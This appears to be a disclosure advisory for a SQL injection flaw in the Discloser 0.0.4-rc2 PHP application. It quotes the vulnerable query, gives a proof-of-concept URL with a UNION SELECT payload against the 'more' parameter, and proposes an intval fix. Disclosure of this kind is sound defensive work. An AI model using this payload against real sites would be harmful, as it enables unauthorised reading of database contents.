Discloser 0.0.4-rc2 SQL Injection Vulnerability

[Salvatore Fresta aka Drosophila <drosophilaxxx@xxxxxxxxx>]

-- 
Salvatore Fresta aka drosophila
CWNP444351

********   Salvatore "drosophila" Fresta   ********

[+] Application: Discloser
[+] Version: 0.0.4-rc2
[+] Website: http://discloser.sourceforge.net/

[+] Bugs: [A] SQL Injection

[+] Exploitation: Remote
[+] Date: 21 Feb 2004

[+] Discovered by: Salvatore Fresta aka drosophila
[+] Author: Salvatore Fresta aka drosophila
[+] E-mail: drosophilaxxx [at] gmail.com


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[+] Menu

1) Bugs
2) Code
3) Fix


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[+] Bugs


- [A] SQL Injection

[-] Risk: medium
[-] File affected: displayposts.php

This flaw allows a guest to insert arbitrary SQL 
statments in the affected query.

...

if (isset($_GET['more'])) {
                        $more = $_GET['more'];
                        $query = mysql_query("select ". $tableprefix ."posts.*, 
". $tableprefix ."users.username, ". $tableprefix ."users.email from ". 
$tableprefix ."posts, ". $tableprefix ."users where ". $tableprefix 
."posts.poster = ". $tableprefix ."users.username and ". $tableprefix 
."posts.id = $more");

...


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[+] Code


- [A] SQL Injection

You can retrieve information from 3,4,7,8 fields.

http://www.site.com/path/index.php?more=-1 UNION ALL SELECT 
1,'long',3,4,5,6,7,8,9,10


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[+] Fix

To fix the flaw, you must to accept numeric content
only, using, for example, intval PHP function:

$more = intval($_GET['more']);


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